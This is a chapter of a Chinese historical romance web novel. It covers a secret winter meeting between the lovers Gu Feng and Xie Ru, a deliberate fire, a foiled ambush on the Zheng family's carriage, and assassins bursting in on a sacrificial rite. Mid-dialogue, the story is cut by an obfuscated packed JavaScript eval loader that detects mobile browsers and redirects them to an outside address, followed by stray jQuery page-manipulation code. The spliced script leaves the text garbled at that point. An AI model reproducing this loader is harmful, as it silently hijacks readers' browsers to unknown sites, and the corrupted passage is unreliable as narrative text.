112. 粉色耳垂

作品:《世家小姐长歪了

    顾峯掀袍坐下,不经心道:“下午约了一个友人,已经走了。”


    谢儒颔首,心中有一阵失落划过,原以为他今晚是专为她踏雪而来。


    顾峯敏锐捕捉她眼中那一丝怅然,连忙解释:“本未约在这里,但那友人与付先生有故,临时换了地址”顿了顿,柔声道:“今夜,只有你我。”


    谢儒被瞧出心思有些羞语,坐在他旁边铺了小褥的石凳上,岔开话题:“你点这些灯烛,恐招人注意。付府已经没了主人,眼下应是一座空府才对。”


    这烛火虽说只有几盏,发出微弱光芒,但若临近凑看,必定会有所察觉的。


    “无妨,此处是街巷,又值夜半风雪,连更夫都不上街了。”顾峯为她倒一杯热茶,看她身上披风沾了雪,又给她递上早便准备好的裘衣。


    谢儒伸手欲接,却有力道相斥,她抬头瞧出他眼中故意使坏,羞恼开口:“松手......”


    “我给你披上。”


    顾峯慕然一笑,将裘衣抖开,倾身从后给她披上。二人距离靠近,呼吸相闻,扑在彼此的脖颈上,配上炉火的滋滋声,尽显暧昧。


    “可还记得皇宫御花园......”他停下手中系带的动作,附在她耳边开口,声音惯是磁性吸人,惹人心颤。


    谢儒耳朵滴红,脑海中不可遏制的想起多年前的那一幕。同样是月上深夜,少年将她抵在树上,任她如何挣扎都无济于事,他甚至......甚至轻薄了她!


    顾峯知她已经想起,再凑近三分,指尖伸出似羽毛般拂过她的耳廓,蛊惑道:“当年没来得及说,其实......还挺香的。”


    这话激得谢儒羞意上头,本能就要起身逃离这旖旎暧昧的呼吸,却在刚离凳寸许时被他一把禁锢在怀里。


    “嗯?来都来了,还想逃?”他抓住她的肩膀,喉咙里溢出一声极低的、近乎叹息的轻笑。


    “我......你莫要乱来。”这话说的半分气势也没,却显几分勾人。


    顾峯又是轻笑,薄唇轻启一口含住了她的耳垂!


    湿热自耳上传来,一股酥麻瞬间贯穿全身经脉,细微的战栗像是有蚂蚁在心头啃噬。她瞪大了眸子,不自觉抓住他的衣袖:“顾峯......”


    这一声仿若给了他鼓励,喉头几番滚动,终于忍不住将她整个人抱起坐在自己腿上。


    谢儒突觉身子腾空,来不及惊呼,那耳垂上的温热又袭来。这次顾峯更无顾忌,嘴上轻柔吸允,似乎在品尝这世间最美好的甘霖。


    谢儒窝在他怀里,身子像没了骨头似的瘫软,整个人被那雄性的气息完全包裹,意识如坠迷海,眸子半闭半睁间只能看到那亭角的朦胧烛火。


    耳垂,脖颈......细腻的皮肤与唇相碰,他却是怎么都尝不够的。


    “还是那么香......”


    雪仍是不紧不慢的筛下来,织成一张连接天幕的网,将这小院、亭子,连同亭中人都轻轻拢了进去。石桌是冰凉的,青瓷里的茶却冒着热气,相缠的呼吸声和微微呻吟夹杂,一同落在了夜幕中。


    不知过了多久,那呼吸渐渐停下,亭中一对人影静静依偎。


    “放我下来......”谢儒挣扎着要起身。


    “别乱动。”顾峯好不容易平复下去的呼吸又急促起来,似是在压抑什么,语气微重:“你莫要乱动,我不惹你就是。我......怕控制不住自己。”


    这一句哄得谢儒不敢再动,她从前跟丹凌子厮混在一起时,偶也去过几次平昌城最热闹的花街,那里有许多漂亮姐姐,她们有时会同她和丹凌子说些......说些男人的事情。


    “你寻我来,没旁的事了?”她靠在他胸膛上,试探着开口询问。


    顾峯将下巴抵在她发间,磁声道:“亲你......算不算事情?”


    谢儒羞恼,粉拳紧握锤他几下,嗔怒道:“怎就没个正经样子。”


    顾峯闭眼享受这难得的轻松,叹气道:“卿卿最是聪慧,定能猜出我话中深意。”


    谢儒知他意思,昨日临别他告诉她今日会有大雪,她又怎会听不出他相邀之意。此时此刻,那点子失落早已无影无踪,她知他在这淄陵城内处处危险。她虽从未问过他平日藏身何处,却也知其中不易。他能为她做到这个份上,她已是知足。


    顾峯,你说此生只掳我一人,但一生太长了,我既贪图眼下,又求那朝朝暮暮。


    “世家近几日离城,你也一起走吧。你不在这里,我才放心。”他抚摸着她的秀发,轻声劝说。


    谢儒知他必有计划,也一定很凶险。他不想她落入险境,给自己留下软肋。她更知自己爱上的是一个怎样的人,征战杀伐,断无回头路。也罢,她走了也好,世家的事结束后她便没有什么能帮上他得了,留下只是累赘罢了。


    “好,我会和他们一起离开。”她点点头,十分乖巧。


    二人耳鬓厮磨,又说了些其余的,都是不打紧的闲话。时间缓缓流淌,人常言岁月静好,大抵便是如此。


    “顾峯,你可还记得青骓?它当真是一匹有灵性的马儿。我怕有人认出它是朔北的特勒膘,故将它留在了城外的一户农家代为照料。”


    “自是记得。那马本是训来给崇和的,但她瞧上了另外一匹,青骓我便一直留着了。它素来不喜旁人,却独独对你亲近,确实有灵性。”


    “你说朔北王城里有家金云阁,做首饰是出了名的,日后你带我去瞧瞧。我也带去平昌最大的酒楼吃茶果子,是我从小吃惯了的。”


    “好,我们一起去。”


    夜色愈浓,雪花渐止,便如这温情总有消散,那些独属情人间的蜜语只有那亭中的一双人知晓。


    离开之际,顾峯尚有些担忧,嘱托她道:“世家虽已合纵,但仍有些家主心思不稳,你离去时还是要多加小心。人心诡杂,不得不防。”


    顾峯心中所虑正是谢儒这几日所思,她眼珠子转了转,抬头环视一圈付府,心中升起一个大胆的主意。


    “我有一个法子,既可震慑提醒,也能试探一二。”


    “哦?什么法子?”


    半个时辰后,顾峯立于檐廊之下,看着付府祠堂那逐渐熊熊燃烧的大火,无奈扶额摇头。


    谢儒丢掉手中火把,转头正瞧见他这般模样,问道:“你怎么了?”


    顾峯叹道:“我虽现在孑然一身,无长辈亲族,但娶个惯会杀人放火的媳妇儿,想来也是不妥的。你就不能杀人放火的时候稍微避着我点儿么?”


    谢儒翻翻白眼,故意道:“真当自己是阎王啊,管的挺宽。”


    阎王当然是不管二人的,男女情意,这档子事归月老管。


    ---------------------------


    六日后


    郑家的马车出城时候,正赶上马恒在城门严查,不知是巧合还是有人故意为之。


    “郑家主,在下虎卫营马恒,今日当值查城门出入行商,还请家主下车。”马恒骑马拦在车前,恭敬抱拳。


    车内传来郑含章的声音:“马大人方才说查行商路人,我郑家也算在其中吗?”


    马恒不卑不亢,回道:“卑职职责所在,还请恕罪。来人,请郑家主下马!”


    郑含章端坐车内,她早知今日出城不会如此顺利,即便有王令在身,也能碰到些找人麻烦的牛鬼蛇神。马恒背后之人是平侯,世家以荀家为首拒绝了平侯的招揽,此刻怕是要公报私仇。


    “马大人,我郑家的车队,也不是你想查就能查的。”她家主多年,威严自是有的,丝毫不惯着这小小校尉。她叫一声大人,不过顾忌平侯,这人莫不以为她真怕了不成。


    马恒身在淄陵城,大人物见得多了,当初威远门前拦王上近臣付博宽亦未惧过,又怎会因这震慑之语后退。


    “郑家主,莫要为难。”


    车内沉默稍许后郑含章的声音才又传来:“我听说马大人祖籍温县。温县与荥阳仅隔一城,大人在淄陵当值,本家应都在此处,倒不知是否还有些亲族仍在温县居住。”


    马恒眸子一缩,听懂她话中意,略犹豫几番后策马让行。


    郑家的车队顺利出城,对于这些家主们而言,这场秋茶宴终是结束了。淄陵城这个龙潭虎穴,差一点就要将他们囚禁终身。


    过了大抵有两个时辰后,郑含章掀开车帘查看车队行到何处,却发现这根本不是去往荥阳的路!她心中一惊,立刻放下帘子质问坐在她对面的人。


    “谢小姐,我瞧着这不像是返回荥阳的路。”她的语气一半疑问,一半警惕。


    谢儒本坐在她对面闭目养神,听罢缓缓睁眼,道:“确实不是。郑家主放心,我们需绕道博陵,再折回荥阳。”


    郑含章听这话疑窦更浓,若是绕道博陵,那岂不是多出一半的路程。但她见谢儒一副胸有成竹的模样,心想她不知何时安排了马车改路,应是早有准备。于是决定先耐心沉住气,等她主动解释。


    又过两个时辰,车外突起嘈杂声。郑含章询问得知,是有人从后面追上来了。


    西陵珺□□千里马,自是比冗长的车队快上许多。她追上后亮明身份,在郑含章邀请下钻进车厢。


    “卿卿,如你所料!去往荥阳的路上果真有埋伏。不过已被我带来的护卫解决了。”西陵珺喘气吞一大口茶水。


    郑含章闻言一震,脱口道:“此话何意?难不成......有人要刺杀我?!”


    西陵珺又猛灌了口茶,方才冲她颔首道:“若非卿卿警觉,郑家只怕此劫难逃。”


    “这平侯实在是欺人太甚!他老子尚且只敢囚人,这贼竖子竟下了杀手!”郑含章登时气极,脸色都变紫了。她未曾多想便将锅甩到平侯头上,毕竟淄陵城内她郑家也没得罪过谁。


    “不是平侯。”谢儒温声道:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121124|195161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若真是平侯,便不会有城门那一出麻烦。若我猜的没错,应是崔家。”


    “崔家?!”郑含章诧然,怀疑道:“我与那崔博无冤无仇,他为何买凶杀人?谢小姐,莫要胡说。”


    西陵珺从腰间掏出一样东西,是一枚带血的令牌。令牌只得巴掌大小,刻些繁复的花纹,中间鎏金一个‘崔’字。


    “骗你作甚,你且瞧瞧此物,是从那些刺客身上搜得。若真是平侯的人,我带的那些护卫定是不够打的。”西陵珺随手将令牌扔给她。


    郑含章见这令牌再熟悉不过。各世家族人出门在外,一般都会有样东西来表明身份,多是令之类得。崔家的令牌她生意往来时曾多次见过,正是这般无异!


    谢儒见她神色多半已经相信,便道:“前几日付府大火,不论是宫中还是世家府邸,就连驿馆都有人暗中打探消息。只有一户人家宅门紧闭,不瞧半分人影,便是崔家。崔博为人心胸狭隘,首鼠两端,既要哄着世家为自己留后路,又想依附蜀王搏前途。我料想他是要提着郑家主的人头去向蜀王立投名状,若成皆大欢喜,若不成还能装作无事发生与世家继续联手扶立新帝,这倒是一桩不赔本的买卖。”


    郑含章听罢只恨得牙痒痒,想崔、郑两家虽不说世代交好,但偶有联姻和生意往来,也算关系不错。这崔博竟能狠心拿郑家当他富贵路上得垫脚石,着实可恶!


    西陵珺又道:“此番刺杀不成,崔博应会弃了投奔蜀王的心思,下次见他定要给个教训不可!这老家伙,心思忒毒!”


    谢儒轻笑两声,出言安抚郑含章:“此事已然化解,郑家并无损伤。我知家主受了委屈,日后定帮你讨回来。只是......将来大计,少不得还要用上崔家。世家本就心有不齐,人心庞杂也是常理。莫说崔家,便是那李家、卢家又怎会没有自家心思。合纵连横本就是人心博弈,今日你家斗我家,明日我家杀你家,大计永无实现之日。我知郑家主虽为女子,然心胸宰辅,定能以大局为重。”


    这一番话进退有度,晓之以理,动之以情,硬是将郑含章的怒气抹平了大半。她头一次认真打量谢儒,此女比她想的还要精明,想必付府那场大火与其也脱不了干系。但崔家杀人之仇,也不是轻易能揭开的。


    “你一个小辈都懂的道理,我如何能不明白。人心各有牵制,你用这种方法套牢崔家,定也有其余办法对付那李家卢家。我郑含章虽不是大丈夫,但一言九鼎,绝无反悔,你便不用花心思在我这了。崔家的仇,我且先记着。”


    “如此,甚好。”


    ------------------


    翌日,寅时初刻,天幕仍是玄青色,淄陵城各坊的街鼓却已次第响起。今日是天子二次寰丘祭天,坊正早已挨家挨户通告,凡临街二楼皆需垂帘,不可俯窥天颜,于是人潮便聚在街头巷尾。城中主街两侧,士卒们踏着统一的步伐,以七尺为间隔肃立,延绵至城门。


    真正的寰丘其实建在平昌,那里才是大启的皇城,是天下最神圣祭祀的地方。但紫薇移位,皇权萎靡,人们分不清究竟谁是王谁是皇。蜀王在淄陵城外建了祭天的宫殿和圆坛,亦称之为寰丘。时间渐长,南地的百姓便以此为道统祭祀所在。


    威远门缓缓打开,六匹纯白龙驹牵引御驾,垂着十二旒白玉珠帘,逐渐显现在百姓们眼前。御驾之后,是六匹黑马牵引的王驾,庄重肃穆,车盖绘着北斗七星,气势竟比天子还要压上几分。


    百官分列两侧,高呼:“吾皇万岁万岁万万岁!”


    百姓接呼:“蜀王千岁千岁千千岁!”


    祭天车队浩浩荡荡出城,一个时辰后抵达寰丘。负责接待的官员早早候着,规规矩矩不敢行差踏错一步。


    日冕的针影缓缓移向午时,祭坛上的火焰吞噬了玉帛,青烟笔直地升向澄澈如洗的苍穹。仪式即将结束,天子与蜀王一同移驾祾恩殿。


    祾恩殿内,蜀王屏退左右,只留下平侯和几个贴身侍卫。


    天子坐在龙椅上,时不时打量一旁王座上人的神色。三个月前祾恩殿上的一幕幕犹在眼前,温老死不瞑目的眼神天子夜夜梦到。他本不愿移驾此处,但面对蜀王的眼神,他竟连一句反驳的话都说不出口。


    “皇上,待会儿沐浴更衣,再请两祭便可。”平侯坐在蜀王下首,对天子安排行程。


    “有平侯安排,自是一切妥当。”天子客套两句,越发如坐针毡,心中一直有丝不好的预感。偏蜀王一直闭目养神,连句话都未曾说,他便更心焦了。


    半炷香的时间在沉寂的大殿上缓缓流逝,忽而房梁一声炸响,数十道黑衣身影犹如天降,突然出现在祾恩殿上!


    天子大骇,头上的十二道珠帘彼此相撞噼啪作响,惊呼:“有刺客!”


    数十个蒙面黑衣人中以两人为首,皆身材高大,其中一人站在最前,执长剑指向蜀王!


    “郭翦,今日吾等来取你项上人头!”